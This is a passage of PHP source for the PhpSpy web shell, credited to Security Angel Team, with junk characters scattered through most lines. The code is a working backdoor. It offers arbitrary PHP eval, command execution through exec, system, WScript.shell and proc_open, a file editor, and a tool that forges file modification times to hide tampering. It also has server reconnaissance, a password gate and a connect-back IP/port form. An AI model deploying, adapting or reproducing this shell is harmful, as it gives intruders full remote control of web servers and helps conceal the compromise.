# }9 g+ [& i. @5 S- V - p('Your IP:');6 H, r1 g7 [# m0 w8 H; l8 D! x- V
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));2 B/ a1 ]" n. m( x# b, f
- p('Your Port:');; C2 F0 e s ~% Q! z
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));0 L- s4 o( d8 l' x, ?; o
- p('Use:');4 R& [9 j3 L6 M. P
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));* S# e" v. r. ]5 ]; I
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));, f. f5 P. ~! Z% b7 l& h3 U' h, q
- p('</p>');
3 Q7 Z' [ d: G' m* r y7 Q - formfoot();
" u+ D: B2 ^. ]0 j+ y - }//end sql backup- G4 v* }4 v9 [( X4 r2 n
- elseif ($action == 'eval') {
$ R7 b2 `, D0 s - $phpcode = trim($phpcode);
: [3 J0 B% H0 r2 L" C - if($phpcode){
+ r8 h; c" [% G - if (!preg_match('#<\?#si', $phpcode)) {
$ {, L- s: w. B0 A- y0 t# Z - $phpcode = "<?php\n\n{$phpcode}\n\n?>";
/ H) h' b f) J - }: Q: v: f4 J! t. N( C9 H
- eval("?".">$phpcode<?");
8 M9 Q8 t1 x$ v Y2 ~ - }
7 c. v9 g7 x6 @( o - formhead(array('title'=>'Eval PHP Code'));* L& s$ s1 R" y( B; M
- makehide('action','eval');
* y- O, K) [+ @* A! w - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
& D! G9 A9 a( A# n) e! O$ T& d - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
4 K' @6 U' c! d - formfooter();6 ~* D2 g/ B" A9 I% [
- }//end eval E3 f! ~; C" u% z
-
( Y# |/ Y/ Z( K, V - elseif ($action == 'editfile') {0 C: T, }0 S! ~
- if(file_exists($opfile)) { e9 _6 Q: j& ~5 j5 m
- $fp=@fopen($opfile,'r');/ @8 G6 y! X# ]: f2 }
- $contents=@fread($fp, filesize($opfile));
( {3 i+ W; Z3 c; r - @fclose($fp);6 E1 k" e) J4 t( t4 A
- $contents=htmlspecialchars($contents);4 T+ X9 f) A6 I3 C+ B' P
- } ~5 G7 O. b6 b" Z
- formhead(array('title'=>'Create / Edit File'));0 e0 I9 m r8 s, {- Q
- makehide('action','file');+ W8 k4 w. G& ?. Z( v5 A
- makehide('dir',$nowpath); Q4 O: x8 B" e: w' r: x( |% f
- makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));1 E1 Y( r/ N( q2 e4 r+ q: a. T
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
7 C B4 D6 h1 }+ ^ - formfooter(); p, e4 `2 d( G' H% d
- }//end editfile
/ X0 w2 Y. ?8 ?# d2 [, B" T0 ? -
$ [1 \: N5 K( r - elseif ($action == 'newtime') {
7 @4 T/ l i2 Q - $opfilemtime = @filemtime($opfile);
" @$ g" R( R4 c+ J& {: j - //$time = strtotime("$year-$month-$day $hour:$minute:$second");
# A: _" v. ]1 }9 g - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);+ V) N( u; N, S/ F" M; E
- formhead(array('title'=>'Clone file was last modified time'));
) G z( J# Y- Q* X/ x - makehide('action','file');2 n* _: _; Y9 {) c/ K. e" j
- makehide('dir',$nowpath);( u. X# R3 O- d' d
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));& L" @4 o: |. R( H& F0 d4 p
- makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));2 y7 J) I, q5 M; N
- formfooter();
! e7 V9 R& d+ J - formhead(array('title'=>'Set last modified'));/ b% F- O6 `: _& ]% `
- makehide('action','file');
& f1 Q$ @5 m! }6 G$ w - makehide('dir',$nowpath);& p; Z' ]8 K8 D, u, A
- makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));/ A4 L& |: g9 V ?( R
- p('<p>Instead »');
: A/ Y" k y* c8 G8 ^ - p('year:');! c3 j2 n3 ~5 ?; W" S% J
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));( [$ w" l6 l) q( f/ Q7 P
- p('month:');
* }; R& c8 d9 L' e - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));5 b4 k9 s: h& O+ |4 a {1 d8 E. s
- p('day:');
* o3 {& u7 O2 U1 y, { - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));2 Q% \0 _1 X; `1 O
- p('hour:');* `5 K$ L, j' ] @+ R7 B! u
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));+ n7 ^ V2 c' ]6 g5 k
- p('minute:');/ T4 d7 B% D: l4 {2 @) m
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
0 N ^1 T# w3 l7 L1 r - p('second:');6 C4 F2 b3 {' @* s
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
D% f0 d; ]# c8 Q, | - p('</p>');$ O* g1 x( O/ @( }$ }5 Z1 t# D
- formfooter();* J0 y3 c9 g4 i$ e
- }//end newtime9 ` ^8 y. w5 ^9 D }
- : \8 |: ], O6 ~
- elseif ($action == 'shell') {( F8 s& r8 `% B
- if (IS_WIN && IS_COM) {
+ N# r3 s" Q; @. [ - if($program && $parameter) {8 n2 _& j( L: a9 J/ l2 l# x2 g9 G
- $shell= new COM('Shell.Application');. {" y+ L. M; S3 t' T
- $a = $shell->ShellExecute($program,$parameter);
2 ~* N7 ?4 [# R0 e - m('Program run has '.(!$a ? 'success' : 'fail'));
& K& s' ]/ w: q& T - }
' a. d S% G' P: i4 U" ` - !$program && $program = 'c:\windows\system32\cmd.exe';
$ d1 t3 u- F/ X& E - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';. ~+ n: _% U/ Y: c
- formhead(array('title'=>'Execute Program'));
5 \6 U5 ]3 J+ @ - makehide('action','shell');
- ]! A5 X9 ^4 M# [( I, F" g - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));" V) W: y7 }( d3 c! A* d" C
- p('<p>');8 @4 M6 R$ r' i5 f u3 F
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
- b$ A$ s; g8 _9 x9 D$ O - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));9 J# P, ^# e Q7 r5 E
- p('</p>');
* v7 s+ x, t" U- u. Y, @. a - formfoot();
, K$ W' o" v, ~* g3 \" C6 C - }
. n, b; R1 M# V - formhead(array('title'=>'Execute Command'));* |' r' f: P; u# ], R# m: W' b5 w
- makehide('action','shell');7 `( b; R/ d) r' E3 H* `" }
- if (IS_WIN && IS_COM) {! S6 Y+ p6 v3 F4 L( n, M% ` U) y
- $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
, i: t( G( O4 T0 ^* z! C6 L - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));. @6 x$ |8 t- `( B1 P
- }8 _8 W% C7 `1 M4 |3 ]/ Y( g3 @( \+ d
- p('<p>');
' o: q) t( p- Z5 B% s ?- G5 w - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));( c" X* J1 K$ A9 k( c, U" Y% @8 w
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) l# c S L- U9 J. `
- p('</p>');& f" n+ A3 d) }% f
- formfoot();
6 F/ g* }' ?! H4 ]$ K$ V - - }3 z6 a+ C8 v4 g2 |
- if ($command) {
e+ J) e: c& @6 @6 x/ s - p('<hr width="100%" noshade /><pre>');0 t% _- }7 v- P5 ^* O0 @
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1 ~7 h2 m5 f: o! c# N! r - $wsh = new COM('WScript.shell');1 W9 g% U# R' y/ S0 n0 Z; B, {
- $exec = $wsh->exec('cmd.exe /c '.$command);
. \ t! x, E b: R# c - $stdout = $exec->StdOut();( S4 l! H. E: T# w( A
- $stroutput = $stdout->ReadAll();
$ t4 G, p5 }0 @9 n- U# q - echo $stroutput;
) J# u1 J$ ^" d% {& Z; X - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {( g3 w! Z0 Y$ z
- $descriptorspec = array(
' F3 X5 `7 O: R5 f4 v& G8 V+ x - 0 => array('pipe', 'r'),
# }# A0 p9 z, c9 o C" l - 1 => array('pipe', 'w'),1 g, U) g8 ]: g. J9 I- ]
- 2 => array('pipe', 'w')
8 x A& {8 }. Q* T5 o' E, P - );: @+ B5 b0 r/ F& k7 a8 ]( |3 [5 L
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
* m$ v) x7 b( g* O6 k - if (is_resource($process)) {
_2 Z/ L$ z! r' l( b4 G - fwrite($pipes[0], $command."\r\n");3 D" A2 U7 z+ z$ E
- fwrite($pipes[0], "exit\r\n");
2 b! q5 x; z9 | - fclose($pipes[0]);
: y0 Q3 b* g; E9 s i( l - while (!feof($pipes[1])) {
7 E; o4 n/ n+ n2 H \ - echo fgets($pipes[1], 1024);
1 c& T; z# o8 K( i% S - }
; s4 Y; Q) @: X* z7 |) | - fclose($pipes[1]);
1 R# M. v( i7 ?3 H0 N- B4 \3 u - while (!feof($pipes[2])) {8 C$ d- U0 s$ K1 I9 y8 G
- echo fgets($pipes[2], 1024);
2 e! C. ^5 C& D3 D5 c9 y. S' o - }
. M9 W9 _; I P, B P. T2 [ - fclose($pipes[2]);
' ]- ]% c7 p3 H+ d, l - proc_close($process);
3 d3 P: a" q3 m* Q: ? - }1 K, E& h# c# u+ F
- } else {
8 |7 u1 D# S& \9 `% \" A - echo(execute($command));$ L/ i1 R0 M0 t: t7 ]' q
- }
. V! E5 D1 o! V" {; B1 Y6 Y: p - p('</pre>');
% h b6 Y+ i2 `, Q/ k - }
l8 _; q! K2 J6 a O: W - }//end shell
. z- `1 O+ g, n$ \+ w6 [3 p - : Q0 R9 M0 Z: k8 _( T
- elseif ($action == 'phpenv') {
* I5 s8 s7 i; f - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';4 a9 e. S: u; v* L8 ?1 M3 K) @
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
0 A" B1 q& b& I& Q, f& H% n0 X, w - !$dis_func && $dis_func = 'No';
' X/ V4 J* J' p! o8 v) h - $info = array(+ u9 `; }% f* y: T# O
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
" o' ?: A- I) @8 ^) E - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
& R! b4 e4 A9 H. S - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
) I0 I* s7 d- g0 q - 4 => array('Server OS',PHP_OS),0 q+ X) t" `" O' k) W0 R+ _; h1 Z( M
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),; d: l/ G2 `6 k+ Z7 y9 T7 t/ ]1 g
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
. b. C* q, t+ ^+ I4 q - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),9 Y1 N! Y& _7 |+ o U% y0 @
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2 |3 z( d' O* ^! ^4 q - 9 => array('The file path',__FILE__),
" I# l9 ?/ N* n* h, q, y, {* d - ) Z) W/ l+ Q9 r: m" j7 E
- 10 => array('PHP Version',PHP_VERSION),: o9 L I: P* `+ V; Q' i
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
& d8 X( `9 H. P; g9 X8 ^9 K6 R - 12 => array('Safe Mode',getcfg('safe_mode')),- B; L% L% R# J; b6 i
- 13 => array('Administrator',$adminmail),. s5 a4 x' `2 X
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),* C* T: c" n7 Z7 V6 `# w
- 15 => array('enable_dl',getcfg('enable_dl')),
% s/ A' P ?! E( U+ O - 16 => array('display_errors',getcfg('display_errors')),9 z) m) e+ x4 Q- e9 `6 i
- 17 => array('register_globals',getcfg('register_globals')),4 R/ p1 q/ X* K& ]+ i& D
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),, }: b9 A" v: n% y: f) b
- 19 => array('memory_limit',getcfg('memory_limit')),2 E; Z0 t/ d$ z7 s
- 20 => array('post_max_size',getcfg('post_max_size')),4 K% X' p8 r+ v( G7 }/ S: @
- 21 => array('upload_max_filesize',$upsize),
# V# J3 e9 M& w/ m7 f7 q0 x - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
+ }/ ]/ m, r4 x; t% ~) `: [9 } - 23 => array('disable_functions',$dis_func),5 ?& p Y8 [; {0 t! W
- );( o! K& ~9 [5 D$ A* j5 I
-
: J7 x: q0 ~' L6 t - if($phpvarname) {8 y& i( s4 M% D6 J* H
- m($phpvarname .' : '.getcfg($phpvarname));
8 y, J9 p9 _: l9 | - }
: H4 m( V: m9 D! R& E" r. @, A [ -
, n3 U0 r- m9 z- W5 Q - formhead(array('title'=>'Server environment'));
- V+ }7 ?; ?, L8 h5 O0 `' X - makehide('action','phpenv'); `& n3 v+ i) k" U" Z: r
- makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));+ U5 s1 P N6 ]: F
- formfooter();
; l3 o7 w/ W* E - 8 G& D$ l' x* b
- $hp = array(0=> 'Server', 1=> 'PHP');
6 V/ M. h6 V8 R8 l' `9 X) F0 Q* u - for($a=0;$a<2;$a++) {* s. l9 H* ?' g* J; W L
- p('<h2>'.$hp[$a].' »</h2>');
9 e5 a( A# W; O; ?/ w: W - p('<ul class="info">');$ F' l# [/ f( _9 r* s
- if ($a==0) {
+ x5 w& h$ g( ]" E3 Y9 { ]# b - for($i=1;$i<=9;$i++) {
0 N6 \! V, d6 {7 Y/ b2 o - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ e R; Q( k5 f. P# S. k
- }8 }: f. u0 v" c' k
- } elseif ($a == 1) {2 q @! A/ z$ \7 d& |( q# W- E6 v7 }
- for($i=10;$i<=23;$i++) {
, ?+ i% o$ U% U q - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');3 `# ]0 @7 w+ ^6 Z9 s
- }
: v: j# m' A9 m9 f* _' m' B6 T0 \ - }
' r6 Q: k) ], T8 \" d9 W4 Q! b - p('</ul>');
- {- ~/ d' k# ]& G5 Q( T - }7 {$ Z1 g8 z5 ?# P
- }//end phpenv9 K3 H! o4 u& k7 f0 c) @. }
- * ?1 ~# r! G4 Y; g2 u
- else {( ?' m' I. X; p
- m('Undefined Action');' A: `3 U- d' Y' Y {/ }4 a0 R
- }
! S, C9 o* b. q -
( @' V& p: j! F - ?>8 n1 a8 U% q- B. `1 c' U
- </td></tr></table>
- R3 J( @: ]6 @' z/ k: f' @ - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1 ]9 M! g f: h& k% N3 e- g - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
; S7 L' V; \$ n - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
6 A: y* a8 j5 y( `9 M - </div>
' X" g+ b( Y$ Y: M% n, | - </body>5 g3 ~* U: O+ V' F7 Z" ^* \
- </html>
# c: x, @" {% f" r5 K- Z2 n, r0 }" | - 5 K& r) W* F% x9 k4 {
- <?php
# E8 r v+ z+ V& j8 m5 K* O - " Y8 i% ]' E- _; q! l
- /*======================================================
) h4 @& E3 X$ R& [8 F - 函数库/ B3 k4 q" v; e1 e& ~) a
- ======================================================*/- w9 @8 ^, d7 B5 e! k M
- & h$ a; [ l* w9 P- A4 h& `; t" g
- function m($msg) {+ _7 v& Q$ u, n" d
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';5 |4 W& G, }% \, t4 N4 _( D
- echo $msg; Y! ?- {3 f) {% |* Y$ Y! B
- echo '</div>';. d$ Y$ k0 h) ~2 U5 |
- }
7 W. Z2 W: e; W4 `; [ - function scookie($key, $value, $life = 0, $prefix = 1) {
- i% x) m! H. s; s# j9 ]" n% { - global $admin, $timestamp, $_SERVER;
2 A8 v) i" K" H, U7 {- [. { - $key = ($prefix ? $admin['cookiepre'] : '').$key;
* e3 T* {* ]3 ?5 F& { - $life = $life ? $life : $admin['cookielife'];6 z1 O# J# O! [: F; P8 b8 b" x" q0 M
- $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; o$ h! O' p* V& ~# q% \
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
+ `; G6 }& l) T# F( \7 _ - }
3 W( H; y2 G5 j - function multi($num, $perpage, $curpage, $tablename) {! Y1 M/ s% L; U3 Y, r0 U+ v4 M( u
- $multipage = '';9 |: K' K+ a0 P& E. _; ]
- if($num > $perpage) {
5 b$ w) @+ Q* l9 R - $page = 10;
$ Z3 @4 Q' \1 W - $offset = 5;+ S1 M4 u. V; W( I- ]
- $pages = @ceil($num / $perpage);
0 i4 p8 s- P5 j( q - if($page > $pages) {/ y0 c9 e3 V8 [$ S* F1 ]
- $from = 1;- H) B- n- S1 o2 Z# [7 E# t
- $to = $pages;
. d+ X; U7 t- D - } else {0 H7 L7 n4 T+ O
- $from = $curpage - $offset;
u5 f- m8 Q1 {3 v - $to = $curpage + $page - $offset - 1;* U+ u1 I+ Y# u
- if($from < 1) {
8 N/ C0 x& ~4 J. t' s# a - $to = $curpage + 1 - $from;
4 `8 E* r% f( a; Z1 W7 V - $from = 1;
# F% H) x, G3 O2 V* K - if(($to - $from) < $page && ($to - $from) < $pages) {) B7 t! r) S$ S7 y
- $to = $page;
9 Q! A3 N2 h7 d6 d7 [$ Y - }
$ }3 A/ M& X: ?8 ?4 ^ - } elseif($to > $pages) {# ~( `1 B) [ J$ _, Q
- $from = $curpage - $pages + $to;4 N" Y# C5 } O9 _' }
- $to = $pages;
" g6 ~# W t2 j - if(($to - $from) < $page && ($to - $from) < $pages) {) i; E& a7 G* G! r) g& {; Y
- $from = $pages - $page + 1;% E* h. v' ?5 I# i" A
- }. g; \2 {% }$ d; Z3 z# J, i
- }* v6 c4 C% B8 ~" ]/ \; G0 g
- }
( {/ I; S0 `/ a$ |. v0 g - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
4 \' T2 d$ H9 i - for($i = $from; $i <= $to; $i++) {1 m0 x( u+ G, i) y+ K& o, n3 P
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';. F/ _ v7 K' Z9 B! h
- }7 ]/ @# W3 x# e4 c e1 h9 T4 ]
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');. \; R/ j, a, B/ Z( J* X u l, s
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
: n% W3 |7 o6 q; S3 B5 h - }/ N7 d [6 b$ Y9 J9 ~/ X; [5 i a
- return $multipage;
& h( @/ o0 {" i' z4 i8 v/ l" Z - }8 k& C* p0 V8 `: _% ]/ a8 S- G
- // 登陆入口& {, Y j& D' n
- function loginpage() {
: v5 X [" l3 {/ i. E% I1 S5 g - ?>
( B( u: x$ ~. i! P6 g' N5 x( O - <style type="text/css">
! W8 J! P) d0 `3 V+ g8 Q4 i3 v) l - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
7 y3 ~; i9 v% P- D3 C% m - </style>( t. T/ h+ o1 q
- <form method="POST" action="">
9 o* T% ~9 p" J. v0 J - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">7 B- L" d4 s4 B/ U
- <input type="hidden" name="doing" value="login">
9 g8 V" \0 d$ u) @$ K) C - <input type="submit" value="Login">
5 c' F1 Q3 Z6 P J9 }6 t - </form> w; Z$ f& u* e' E
- <?php
* e" J) t1 w* Q' p Y3 x - exit;
9 q% P D ]6 b2 p: d, k& p - }//end loginpage()
6 u0 y7 p$ Z4 Z - 6 @: l4 e' ]1 h% ^
- function execute($cfe) {2 Q9 C) |: X0 T/ T# {
- $res = '';
9 u! S4 W0 B4 k - if ($cfe) {
2 D e# J3 H/ {" F - if(function_exists('exec')) {
- m- S) c7 l3 f8 M# Q3 ? - @exec($cfe,$res);
0 d: J4 q. g" V+ J5 a+ v - $res = join("\n",$res);$ N' [4 G: g3 s6 t
- } elseif(function_exists('shell_exec')) {
- Z3 x% u3 S9 R$ S# q7 e9 J - $res = @shell_exec($cfe);( _; s5 k) u/ i; S$ h1 X! u/ [
- } elseif(function_exists('system')) {
9 {' y7 J8 ^ ]% _; g3 O/ G - @ob_start();
6 L2 M% N3 c- Y" e$ } - @system($cfe);
+ k9 [1 z4 R4 B6 Y! h; K s6 J - $res = @ob_get_contents();6 X! F, `( d+ o. u3 K; ]5 R0 h
- @ob_end_clean();
0 b1 k( t: p4 L+ [' C& g3 P - } elseif(function_exists('passthru')) {6 t- T8 {- Y, X" v
- @ob_start();5 g1 H: ^9 K; Q' c N
- @passthru($cfe);
+ ]6 [# B& U7 X - $res = @ob_get_contents();) t, h6 U' B0 S: e6 F C2 v
- @ob_end_clean();# O6 ?9 ~1 d; M# [" [4 P
- } elseif(@is_resource($f = @popen($cfe,"r"))) {+ t/ L" b1 O" ]6 x R1 z
- $res = '';
7 D& s7 z: V* u* x' e2 c. ? - while(!@feof($f)) {8 l3 m) R O& B. W+ d* y: J7 l
- $res .= @fread($f,1024); * B4 P% [9 L$ W9 _" ^: e- e9 K
- }
+ R+ N, Q3 }. f4 |6 ~; {- a0 F - @pclose($f);
# ]# m2 I0 v+ D2 }: Q - }
7 e: [; V. V2 A5 k2 F& n- e6 ~# y - }
) Q4 |) J( G* |* w; }5 {9 q. |) H - return $res;
, U) D/ i& Y4 |, n, `1 N - }
3 x3 y2 l9 y3 o( o0 }! p } - function which($pr) {
/ n: Q3 \+ z2 K4 n( D6 K# Z& J9 Q' M1 C - $path = execute("which $pr");
8 V( r- D! {, v - return ($path ? $path : $pr);
9 [3 k! ~ p) x4 ]- j - }* Z5 D) Y) [9 x3 a5 r2 x0 q# S# |( f
-
/ Q: G4 r1 c8 b. v - function cf($fname,$text){2 y7 H Z/ d, s- H
- if($fp=@fopen($fname,'w')) {8 l6 T) f( B1 h( E( f+ N# v. f) o
- @fputs($fp,@base64_decode($text));
" W0 {0 m% F) U9 r - @fclose($fp);" i& F1 w/ ]& B, t% F; m
- }% C! f7 S$ v/ p3 {% H, Y5 U
- }$ @0 C y* R; @; L
-
9 Q6 F# B" K. \ ?! z! D - // 页面调试信息3 P! V+ F4 o6 {- | s
- function debuginfo() {
* d: L1 h4 }/ g( X2 ?5 w6 u# N - global $starttime; R; q4 ~" \* r, [7 v0 h& \
- $mtime = explode(' ', microtime());
' J: y0 e i. e L: d - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);' W: u) X* r9 m
- echo 'Processed in '.$totaltime.' second(s)';7 E' {* r% S& i v7 ~
- }
5 t) L6 Z; d* C) B+ G - " F6 J8 h- i5 `- \9 w# l% {5 B' |
- //连接数据库! e k& N! r: B/ a, j+ u
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {! V; x! q# a+ R( s4 h- K9 i
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
) ?* u; N6 Q- u0 d# C- e$ } - p('<h2>Can not connect to MySQL server</h2>');
$ ^/ o! b9 H Q! ^+ J/ s% P - exit;' t+ M1 _, ~ F8 [& u; d, F! g
- }
M) J- F& l) C. _& V3 @ - if($link && $dbname) {
; g* ? T# [- |( O" D* P - if (!@mysql_select_db($dbname, $link)) {" C: c1 W3 Z# [
- p('<h2>Database selected has error</h2>');
( @5 e4 f% y5 z( M+ o - exit;( {$ F5 Z- k$ K4 c3 E1 g
- }1 W" S8 b* r J. [3 R
- }
/ c v& d: O( H - if($link && mysql_get_server_info() > '4.1') {( o W6 w& G: p& b
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
/ e6 Q2 a# J) m7 I0 T - q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);8 `4 j2 d8 j4 E$ m" k. Q4 y+ ~
- }
5 L1 N" e3 [; j' A' L2 S/ I! X2 P - }9 N- e2 Y; u! U4 \
- return $link;
4 M/ f, h7 o& o3 G, ]: g3 O - }, s' D7 A+ S' N. F; h' z
- ( o; z7 t. M% S8 l/ @
- // 去掉转义字符0 p" ?' b- C; V, T) _
- function s_array(&$array) {
' L* e4 ]: i, L& Q# W0 T" E - if (is_array($array)) {" ]. R/ H* T- C: p
- foreach ($array as $k => $v) {
4 i5 S/ v* t" v4 j7 k - $array[$k] = s_array($v);
5 C/ P4 I/ m C. @2 h6 ~1 H3 X1 V3 q - }
4 W0 ?5 K9 G4 n0 S - } else if (is_string($array)) {
`" U' d% U( q" s, O: ^; m - $array = stripslashes($array);
- L5 X4 y- o1 U - }, [, q7 u Z% W3 D& M
- return $array;
7 p! i1 ^" t* {3 J% `2 } - }
2 {; r+ }) g0 S: Q - % f( |; M, b# E( Q1 z7 g# h3 i8 O- f( X
- // 清除HTML代码
0 E9 Q! V2 N: ^ - function html_clean($content) {0 f1 K; i7 A$ f: j0 t0 H: L& }
- $content = htmlspecialchars($content);% ?; Q" Y5 ~7 C/ i/ h
- $content = str_replace("\n", "<br />", $content);
8 x6 v+ C0 r- K+ ? - $content = str_replace(" ", " ", $content);
9 U& O2 a& Z+ |% ~4 r9 e, i7 ` - $content = str_replace("\t", " ", $content);. L. |; _) t5 X/ |" m. r+ ]0 G: o
- return $content;6 G0 p6 c% Z5 n& D4 B) d
- }
, a, X" w) H* _ -
4 b( s0 C: a- P+ r# _ - // 获取权限/ M2 d& C( K2 {3 b9 G& b9 N
- function getChmod($filepath){: _! x9 @, ]; |% v
- return substr(base_convert(@fileperms($filepath),10,8),-4);
4 P, o; B; B1 B& o8 ~ - }9 @& ^0 P/ ?5 c- n. h- \& Z
-
5 @& k. F b$ K0 T* J - function getPerms($filepath) {
1 |6 @( _# G& o - $mode = @fileperms($filepath);
1 t8 `% x4 F1 \( M+ E9 C - if (($mode & 0xC000) === 0xC000) {$type = 's';}
2 l+ b2 t- t8 z2 T - elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
0 s: i# N8 X3 L1 E - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
7 L' j* s+ n+ S8 O - elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
$ X* |5 N8 Q2 j4 b( v3 h. C/ | - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} W4 F+ J+ v& x! ~" x8 ?% _5 X" t
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}1 ^9 p+ ]. a: W( F
- elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}% x& a+ Q' K( x/ K' a! c
- else {$type = '?';}
" N! l2 a. }( h- d -
2 B2 @* t3 d2 J0 ?4 _( `6 U2 W- D - $owner['read'] = ($mode & 00400) ? 'r' : '-';
1 y: Y( A; J. R4 g3 E' ? - $owner['write'] = ($mode & 00200) ? 'w' : '-';
5 ]* A2 \! y9 s d- c - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
; i1 \4 i0 [6 H* e# l- r+ M I/ k. q5 [ - $group['read'] = ($mode & 00040) ? 'r' : '-';
# m" |! W" V0 d( z; |8 j ]8 L. C' B - $group['write'] = ($mode & 00020) ? 'w' : '-';
! R7 W% h% D) V# d( l - $group['execute'] = ($mode & 00010) ? 'x' : '-'; ! ]2 S3 H6 i5 K8 Y3 W
- $world['read'] = ($mode & 00004) ? 'r' : '-'; . |) r% {! I* i, i$ J2 S6 W' C
- $world['write'] = ($mode & 00002) ? 'w' : '-'; 8 n' _) ~% l- R) J( f
- $world['execute'] = ($mode & 00001) ? 'x' : '-'; & t. A% @- p( r& s
- . P5 o8 w8 V" ^9 O% b. O% S
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}' S; o2 d- f: r2 u& A) n5 C* \6 A" W
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
, E* O5 V( ?: R# b7 Y# c5 |. q7 q - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}+ F* e4 f) Z% ?- s5 }
- 5 O, x- ]# h- k9 B. Z& @
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
* e3 }/ q/ P# E! X3 i - }) j& k$ q0 j T8 x$ T n9 U
-
0 Q4 }# q! \) U3 n& P* s2 D/ l - function getUser($filepath) {7 s, |$ R7 f. V! }8 f
